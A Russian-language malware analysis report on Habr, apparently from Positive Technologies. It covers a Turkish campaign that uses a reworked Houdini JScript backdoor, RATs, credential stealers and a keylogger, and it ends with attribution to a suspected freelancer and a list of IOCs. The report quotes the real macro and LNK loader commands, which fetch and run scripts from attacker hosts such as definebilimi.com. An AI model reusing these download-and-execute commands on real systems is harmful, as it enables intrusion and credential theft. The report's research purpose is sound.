Турецкие фокусы с червями, крысами… и фрилансером

Специалисты группы исследования угроз экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили вредоносную кампанию, которая активна по крайней мере с середины января 2018 года. Операция направлена на пользователей из Бразилии, Великобритании, Венгрии, Германии, Латвии, США, Турции, с Филиппин. Используется многообразие инструментов и техник заражения и управления ПК жертвы. В данном отчете детально рассмотрены стадия заражения, применяемые утилиты, особенности организации сетевой инфраструктуры, а также цифровые следы, выведшие нас на кандидатуру предполагаемого хакера.

Резюме


  • Атакующие переработали червя 10-летней давности с учетом современных приемов
  • Зоопарк используемых инструментов в совокупности с обширной сетевой инфраструктурой
  • Главный подозреваемый — турецкий фрилансер


Доставка полезной нагрузки


Офисные документы


Пятого апреля 2019 года, в рамках отслеживания новых угроз, специалисты PT Expert Security Center обнаружили подозрительный офисный документ. Файл с расширением .docm (документ MS Word нового образца с поддержкой макросов):

  • создан за несколько дней до обнаружения (2019–03–31),
  • содержит изображение с целью убедить пользователя включить макросы,
  • был создан на системе с турецким языком (об этом свидетельствуют значения полей метаданных: «Konu Başlığı» — «Название темы», «Konu Ba l, 1» — «Предметный заголовок, 1»; перевод Google Translate).


vuvpfjfs9iissnmjcse2lyndlmk.png

Рис. 1. Типичная ловушка с уведомлением о необходимости включения макросов

Код макроса немного обфусцирован, но лаконичен: средствами командлета Background Intelligent Transfer Management (BITS) для PowerShell загружает и запускает сценарий на JScript с сервера злоумышленника:

Shell ("pow" & "ershe" & "ll -comm" & "and ""$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb1.js;');Start-Process -WindowStyle hidden -FilePath 'cmd.exe' -ArgumentList '/c %systemroot%\system32\wscript %temp%\bb1.js'""")


Использование PowerShell и нетипичного модуля для загрузки файлов с веб-сервера обусловлено попыткой обойти ограничения на запуск и исполнение недоверенных программ.

Существует несколько аналогичных документов. Например, один из них представляет собой .doc-файл (документ MS Word старого образца) с кодовой страницей символов на турецком языке. Работа макроса также очень схожа:

Shell "cmd.exe /c bitsadmin /transfer myjob /download /priority FOREGROUND https://definebilimi.com/up3e.js %temp%\o2.js & wscript.exe %temp%\o2.js", vbHide


В данном случае автор использует ту же BITS-технологию, но при помощи легитимной системной утилиты bitsadmin. Интересно, что и дата создания документа, и время обнаружения в публичных источниках отсылают нас к середине июля 2018 года. Таким образом, атаки актуальны как минимум около года. Кроме этого, для загрузки пейлоада используется тот же самый сервер злоумышленника; схож и подход к именованию загружаемого сценария на JScript.

Еще один документ имеет расширение .rtf (Rich Text Format). В него вложены несколько .xls-документов (документ MS Excel старого образца) с одинаковым содержанием. Код макроса полностью идентичен извлеченному из первоначального документа, а совпадения значений кодовой страницы и XML-поля HeadingPairs ведут к тому же авторству.

LNK-ярлыки


Стоит отметить, что в этой кампании в качестве первоначальной стадии заражения использовались не только офисные документы. Мы встретили пару вредоносных .lnk-файлов (Windows Shell Link), при запуске которых выполнялась следующая команда:

C:\Windows\System32\cmd.exe /c powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb.js;')" & %systemroot%\system32\wscript %temp%\bb.js


Ярлыки распространялись в середине марта и конце апреля 2019 года.

Метаданные ярлыков содержат имя пользователя win7-bilgisayar (с турецкого «win7-компьютер») — пользователя системы, на которой они создавались.

Мы можем с уверенностью предположить, что почтовые фишинговые рассылки — наиболее вероятный сценарий доставки вредоносных файлов на первой стадии заражения.

Метаморфозы Гудини


Все рассмотренные объекты первой стадии заражения загружают и запускают один и тот же сценарий на JScript (без учета незначительных различий). Файл не обфусцирован и не упакован, а единственное, что предпринято для усложнения анализа, — случайные имена переменных. Представляет собой бэкдор на платформе WSH. Из особенностей его работы можно выделить следующие:

  • Адрес хоста и порт управляющего сервера зашиты в скрипте
  • Взаимодействие с C&C осуществляется средствами POST-запросов протокола HTTP.
  • В момент начала работы в поле URI вставляется строка «is-bekle», в переводе с турецкого «is-ready».
  • Поле User-Agent содержит краткую информацию о системе с заданным разделителем (в данном случае,»<|>»):
    • серийный номер жесткого диска,
    • имя пользователя,
    • версия системы,
    • имя скрипта,
    • имя антивируса,
    • значение переменной среды %ProgramData%,
    • наличие .Net FrameWork 4.5.2 в системе,
    • время ожидания между запросами,
    • наличие Java в системе.

  • Проверяет окружение на предмет песочницы «Лаборатории Касперского» по заданному серийному номеру жесткого диска. В случае совпадения прекращает работу.
  • Получает от сервера и выполняет заданные команды; вот некоторые из них:
    • загрузка файла с сервера,
    • выгрузка файла на сервер
    • сбор содержимого буфера обмена,
    • сбор содержимого каталога,
    • сбор информации о процессах,
    • запуск команд в интерпретаторе cmd.exe,
    • снятие и отправка скриншота,
    • извлечение и отправка баз данных Chrome и Opera с паролями.


kyxjurbcxvvpazharap_hq6fh68.png
Рис. 2. Начало загруженного сценария на JScript с сервера злоумышленника

По наличию комментариев, структуре кода, используемым именам команд и формату сбора информации о системе можно провести параллель с хорошо известным VBS-червем Houdini. Наши коллеги из FireEye в 2013 году привели подробный разбор функций этого трояна, обработка команд и сбор информации в котором происходят аналогичным образом. Похоже, что в нашем случае злоумышленник взял за основу модель работы известного червя, переписал функции не на VBScript, а на JScript, и заменил некоторые английские строки турецкими.

z4522tdmc-74q3wrlsz_op7tqki.png

Рис. 3. Обработка команд JScript-бэкдора

Стоит отметить, что в качестве маркера результатов выполнения команд используются строки, содержащие подстроку «Bcorp». Она же присутствует в имени управляющего сервера ip1[.]bcorp.fun.

На сервере злоумышленника


По данным Shodan на 30 апреля 2019 года, на хосте злоумышленника работает веб-сервер на базе AppServ. Не похоже, что сервер тщательно настраивали: например, доступна страница phpinfo, раскрывающая любопытную информацию о конфигурации. При анализе веб-ссылок, с которых загружалось вредоносное ПО, выяснилось, что на сервере присутствует открытая директория (каталог ./a) с листингом других инструментов злоумышленника.

tirgmslrqtgw3epiumyzv0yrag0.png

Рис. 4. Домашняя страница сервера злоумышленника

cq-dg1v3yxrbqgprtstzphvyogm.png

Рис. 5. Страница phpinfo на сервере злоумышленника

xccyhjiblf6w1xkmzj51prgol-0.png

Рис. 6. Листинг открытой директории сервера злоумышленника в конце апреля 2019 года

jizsr0d3hrbqout2mrth5hfq794.png

Рис. 7. Листинг открытой директории сервера злоумышленника в конце мая 2019 года

Ниже представлено описание обнаруженных файлов.

Houdini JScript


В первую очередь, получено множество вариаций модифицированного червя Houdini, рассмотренного выше. От версии к версии скрипт претерпевал незначительные изменения: менялись имена хостов (husan2.ddns.net, ip1.bcorp.fun, ip1.qqww.eu), порты (86, 87), имена переменных, появлялись или исчезали отдельные команды. Одна из версий даже была обрамлена в виде скриптлета на JScript.

vp7vsedyr71hixfb31ffenjzdg4.png

Рис. 8. Houdini JScript в виде скриптлета

Bcorp JAR


Самописный легкий бэкдор на языке Java. Взаимодействует с C&C по TCP по порту 22122. Умеет:

  • выполнять команды в интерпретаторе cmd.exe,
  • определять версию системы,
  • перечислять каталоги,
  • выгружать файлы,
  • прописываться в каталог автозагрузки и ветку автозапуска реестра.


Похоже, что именно для этого модифицированный червь проверяет наличие Java в системе. При этом неясно, зачем использовать дополнительный бэкдор, ведь первоначальный обладает достаточным набором функций.

Get-ChromeCreds


PowerShell-обертка для извлечения истории, логинов, паролей, cookie из браузера Chrome. Некоторые версии содержат вспомогательную библиотеку System.Data.SQLite.dll для x86- и x64-систем в base64-закодированном виде, остальные предполагают ее наличие в каталоге %APPDATA%. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.

Start-KeyLogger


PowerShell-имплементация простейшего кейлоггера. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.

lvz9huoub4btquoi2gbiwd8ipsg.png

Рис. 9. Фрагмент кода PowerShell-кейлоггера

WebBrowserPassView


Утилита от Nirsoft для получения логинов и паролей из популярных браузеров. Злоумышленники использовали авторскую версию, предварительно упаковав ее с помощью ASPack для усложнения анализа или обхода детектирования по индикаторам.

NetWire RAT


Публично доступный, коммерческий инструмент для удаленного контроля над ПК. Используется различными киберпреступными группами. Малварщики усложнили анализ и обнаружение путем упаковки RAT в PE на платформе .NET и применения обфускатора кода DeepSea 4.1.

TCP Listen


Простенькая GUI-утилита от AllScoop для тестирования параметров роутера или межсетевого экрана. На каждый слушающий порт отвечает заданной строкой, завершая соединение.

udcrk-bohjearwqg5thpcia9-ym.png

Рис. 10. GUI утилиты TCP Listen

LNK loader


Ярлык-загрузчик, схожий с уже рассмотренными ранее. При запуске выполняет следующую команду:

C:\Windows\System32\cmd.exe /v /c "set i=h&&ms!i!ta http://ip1.qqww.eu/1/f.htm"


На этот раз ярлык был создан под другим пользователем (desktop-amkd3n3).

Script loaders


В эту группу мы объединили различные загрузчики рассмотренных выше RAT. Все они небольших размеров (до 1 КБ), различных форматов (.htm, .xsl, .hta и т. д.), код выполняется на нескольких скриптовых (JScript, PowerShell) языках и компилируемом «на лету» C#. Ниже представлены фрагменты кода некоторых образцов:

gadkmjw2x2s7i9br6wvigjbduho.png

Рис. 11. Фрагмент .htm-загрузчика

tadufk1tskw_mu33lyhp9o2uieg.png

Рис. 12. Фрагмент .xsl-загрузчика

5oqinngzwzjeqgcg_pvv1c7vsgo.png

Рис. 13. Фрагмент .ps1-загрузчика

Tiny PE loaders


Помимо скриптовых загрузчиков были обнаружены PE-файлы на платформе .NET. Они также небольших размеров (до 10 КБ), с аналогичной емкой функциональностью:

givolcsz3joqwnt0zqtq8ftqzui.png

Рис. 14. Пример декомпилированного кода одного из PE-загрузчиков

xRAT


Публично доступный, свободно распространяемый проект для удаленного управления ПК. Широко распространены различные версии и модификации. Написан на C#, частично обфусцирован.

Bcorp panel vs. builder


Управляющая серверная часть для JScript-бэкдора. В то же время является и конструктором клиентской части. Представляет собой PE на платформе .NET. Не обфусцирована, не упакована. Интерфейс напоминает переработанную серверную часть для уже упомянутого VBS-червя Houdini. Кроме отправки команд загружает на зараженную машину дополнительные компоненты и плагины, описанные ранее: окружение Java, PowerShell-скрипты и утилиту от Nirsoft для сбора информации с браузеров, PowerShell-скрипты для перехвата нажатых клавиш и т. д. Любопытно, что проект носит название BcorpRat, что можно увидеть в заголовке окна на изображениях ниже. А в названии пространства имен исходного программного кода фигурирует строка «Btech», к которой мы вернемся чуть позже.

m3ix63sjf1-fe3rawasy_jmhldk.png

Рис. 15. Панель управления JScript-бэкдором, главное окно

obqq8gb4arhzlfjowoxato5v3yu.png

Рис. 16. Панель управления JScript-бэкдором, окно конструктора клиентской части

Сетевая инфраструктура


Далее мы проведем более детальный анализ адресов, с которыми взаимодействовали те или иные вредоносные программы атакующего. Начнем с домена definebilimi.com, к которому обращаются офисные документы и ярлыки-загрузчики.

definebilimi.com


Шестнадцатого января 2018 года у этого домена появился новый владелец. Кстати, «define bilimi» дословно переводится с турецкого как «сокровище науки». Ниже представлены наиболее интересные данные из истории WHOIS-записей на тот момент.
Таблица 1. Информация о регистранте (владельце) домена definebilimi.com
Будет опрометчиво утверждать, что данные являются подлинными. Указанная страна и частота появления следов турецкого языка в коде позволяют нам предположить, что эти совпадения не случайны. А электронный адрес содержит подстроку «btech», на которую мы уже обращали внимание.

Интересной выглядит история изменений NS-серверов, которые предоставляли информацию о зарегистрированном домене:


Таблица 2. История NS-серверов домена definebilimi.com

Хосты buhar.biz и qqww.eu уже встречались во вредоносном ПО ранее.

buhar.us


Новая история этого домена («buhar» с турецкого — «пар») начинается с того же дня, что и история definebilimi.com, — 16 января 2018 года.
Таблица 3. Информация о регистранте (владельце) домена buhar.us

Ситуация схожа: вновь часть данных выглядят фальшивыми за исключением почтового адреса («buharcin» с турецкого — «паровоз»).

bcorp.fun


Домен зарегистрирован с 23 марта 2019 года. Кроме того, что страна зарегистрированного снова Турция, в качестве организации клиента приводится «Bcorp». Собственно, это же мы видим и в самом названии домена, как и в нескольких абзацах ранее.

husan2.ddns.net


Любопытно, что злоумышленник обзаводится хостами не только классическим способом. С середины марта 2019 года было зафиксировано использование так называемых динамических DNS-серверов. Технология позволяет атакующим эффективно скрывать свои IP-адреса и обеспечить живучесть своих центров управления. Стоит отметить и некоторую предсказуемость в выборе имен: так, например, через пару месяцев было обнаружено использование домена husan3.ddns.net, а вот активность домена husan.ddns.net датируется аж апрелем 2017 года.

bkorp.xyz


С начала апреля хакер, продолжая двигаться по пути анонимизации, регистрирует домены с использованием сервиса WhoisGuard, Inc., располагающегося в Панаме; bkorp.xyz, prntsrcn.com и i37-imgur.com — лишь некоторые примеры. Используемые NS-сервера по-прежнему связывают их с другими вредоносными доменами.

qqww.eu


Кроме того, что у этого домена, так же как и у домена bcorp.fun, есть поддомен ip1, — существует и еще одна немаловажная деталь. В информации о регистранте указана организация Osbil Technology Ltd., якобы располагающаяся в Берлине. На самом деле одноименная организация располагается на побережье Кипра в городе Фамагуста — на территории частично признанной Турецкой Республики Северного Кипра. А официальный сайт компании располагается на домене, который являлся NS-сервером домена bcorp.fun с марта по май 2019 года. Мы не нашли признаков компрометации сервера имен, а инфраструктурные особенности NS-провайдера (замещение клиента данными провайдера в графе регистранта) позволили скрыть информацию о клиенте от публичного доступа.

7szzq2mjgkuppmdvnpd_xdrk41c.png

Рис. 17. Информация о регистранте (владельце) домена qqww.eu

IP-адреса


Для полноты картины ниже приведены IP-адреса — с некоторыми доменами, соответствовавшими им в различные промежутки времени:

  • 5.255.63.12
    • bcorp.fun
    • husan.ddns.net
    • husan2.ddns.net
    • husan3.ddns.net
    • qqww.eu

  • 192.95.3.137
    • bcorp.fun
    • bkorp.xyz
    • definebilimi.com
    • i36-imgur.com
    • i37-imgur.com
    • i38-imgur.com
    • i39-imgur.com
    • prntsrcn.com
    • qqww.eu

  • 192.95.3.140
    • bkorp.xyz
    • buhar.us

    По следам хакера


    Среди вредоносных и вспомогательных инструментов на сервере злоумышленника было найдено любопытное изображение:

    c9pigfzw8s36wno_idj18gwv57u.png

    Рис. 18. Изображение в каталоге на хостинге злоумышленника

    Мы не уменьшали разрешение картинки, а разместили его здесь в таком виде, как оно было на хосте.

    Несмотря на низкое качество изображения, нам удалось установить, что это скриншот страницы о совершенной транзакции с криптовалютой на ресурсе blockr.io. Это ничего не дало, поэтому мы попытались найти все связанное с именем IMG_JPEG-0371e4dce3c8804f1543c3f0f309cc11.jpg, с которым изображение хранилось у хакера. Следы привели к результату обработки на онлайн-анализаторе некоторого файла, имя которого совпадало с именем нашей картинки. Обработанный объект представляет собой Windows-ярлык, подобный тем, которые мы уже рассматривали ранее. К нему была прикреплена картинка с фотографией идентификационной карты турецкого гражданина, фамилия которого совпадает с фамилией, которая указывалась при регистрации домена, — Yaman.

    prb7cacgvurge0qqdt3tqnbthxe.png

    Рис. 19. Идентификационная карта с ярлыком-загрузчиком

    Обработка ярлыка в онлайн-песочнице происходила не вследствие загрузки файла пользователем, а путем передачи URL-адреса, с которого было необходимо загрузить и обработать объект:

    hxxps://github.com/btechim/prntsrcn/blob/nm46ny/IMG-0371e4dce3c8804f1543c3f0f309cc11.jpg.lnk?raw=true

    Github-аккаунт пользователя уже заблокирован, однако по ссылке мы можем установить никнейм пользователя (btechim) и имя проекта (prntsrcn). Имя проекта совпадает с именем одного из доменов, обнаруженного в кампании (prntsrcn.com), а в прозвище пользователя содержится подстрока btech, фигурирующая в программном коде админских панелей, о которых шла речь выше.

    Поиск по никнейму пользователя вывел нас на ресурс фрилансеров, на котором расположена страничка пользователя из Турции — с таким же никнеймом, с подтвержденным номером телефона, почтовым адресом и профилем в Facebook, — предлагающего свои услуги по разработке ПО в области кибербезопасности.

    cff2y0moihsk3fy6abo_wu2489c.png

    Рис. 20. Страница предполагаемого злоумышленника на ресурсе для фрилансеров

    Выводы


    На протяжении нескольких месяцев специалисты Positive Technologies наблюдали за развитием вредоносной кампании турецкого происхождения и передали накопленные данные в CERT Турции. Далеко не часто в ходе одной серии атак сочетается использование современных техник и переработанных инструментов 10-летней давности. Злоумышленник применял самые разные инструменты (по назначению, по платформе, по уровню сложности) для получения полного контроля над целевым ПК. Стоит отметить вариативность подходов при подготовке сетевой инфраструктуры в попытках скрыть свою личность. Однако в очередной раз было учтено не все, самонадеянность и несколько упущений выдали преступника. Исследование было передано в центр реагирования на инциденты информационной безопасности Турции.
    IOCs
    Office loaders:
    3305720da73efbcb7d25edbb7eff5a1a
    5b6d77f3e48e7723498ede5d5ba54f26
    621a0133e28edec77a2d3e75115b8655
    712e7ec49ad3b8c91b326b6d5ee8dcd8
    731a3d72e3d36c2270c1d0711c73c301
    929374b35a73c59fe97b336d0c414389

    LNK loaders:
    3bc5d95e2bd2d52a300da9f3036f5b3b
    527069e966b4a854df35aef63f45986a
    a4667e0b3bfaca0cda5c344f1475b8e0

    Houdini JScript:
    04c2ad67de2cea3f247cf50c5e12e969
    5ab9176b9ed9f7a776ec82c412a89eab
    84f0d098880747f417703f251a2e0d1c
    94c6ba0d812b4daf214263fffc951a20
    a52509a38846b55a524019f2f1a06ade
    bf2fb6cdbc9fde99e186f01ad26f959f
    c871091ce44594adbd6cf4388381e410
    daf6a9eb55813d1a151695d33506179d
    f010af1b330d00abb5149e9defdae6ee
    ff924faeb9dfd7384c05abe855566fc9

    Bcorp JAR
    59978b5a9e4ab36da0f31a8f616cc9d3
    a7219da3b0c0730c476fe340dbf7e4e5
    ddac55213089da9ef407bce05ebe653e

    Get-ChromeCreds
    11769e9f49123a2af00bd74453221c07
    1a81c9119d7761535c198ddb761979b8
    42a85849a591e65b0254d9bcbdf59f82
    8e49263f33c53ee5bc91bebbf9617352
    c9ab090ad2badb9862fd5b6058428096

    Start-KeyLogger
    55daa84475a11ea656183e0ad5ccc608
    aa82fbb6a341d71d2431b6d2ebca027c

    WebBrowserPassView
    7722e086cf7ed59955a1d6ec26f49cf3

    NetWire RAT
    1470a08bd427bb8738a254ba4f130ff5
    5f8495016773c7834b1c588f0997a6c4

    TCP Listen
    913567da98185cad9f91a570dc298de1

    Script loaders
    02946d10c6a34fe74826f3c0b0a6a3e0
    1ad644bdba488a6e42ad76aea2c0ee54
    3a2dcf36b9206a135daa73c645a3f56f
    4dddd87d3cb80145c9859fd76dfef794
    74c5e5be9f79bd9e7ee84fd046c14e68
    78f4d5fa6c68dae4b03860b54ec6cc67

    Tiny PE loaders
    0f3c56018a7051aebe060454fc981f5b
    1b9cefc229daddc4557cea0e3bdf4656
    29e6679107bd9c72aa061371082206bb
    b66b7395825b9ed656b768d4e7fe1de7
    fbc606b8b04e51ddb342e29b84ac1edb

    xRAT
    2e9a0637478938cc3e4519aa7b4219cc
    7c67c93ba243be32e5fd6a6921ceded3

    Bcorp panel vs. builder
    405c987ba1a8568e2808da2b06bc9047
    c3ac8b7a7c8c0d100e3c2af8ccd11441

    Bcorp C&C
    bcorp.fun
    bkorp.xyz
    buhar.us
    definebilimi.com
    husan.ddns.net
    husan2.ddns.net
    husan3.ddns.net
    i36-imgur.com
    i37-imgur.com
    i38-imgur.com
    i39-imgur.com
    prntsrcn.com
    qqww.eu
    5.255.63.12
    192.95.3.137
    192.95.3.14

    Автор: Алексей Вишняков, Positive Technologies

© Habrahabr.ru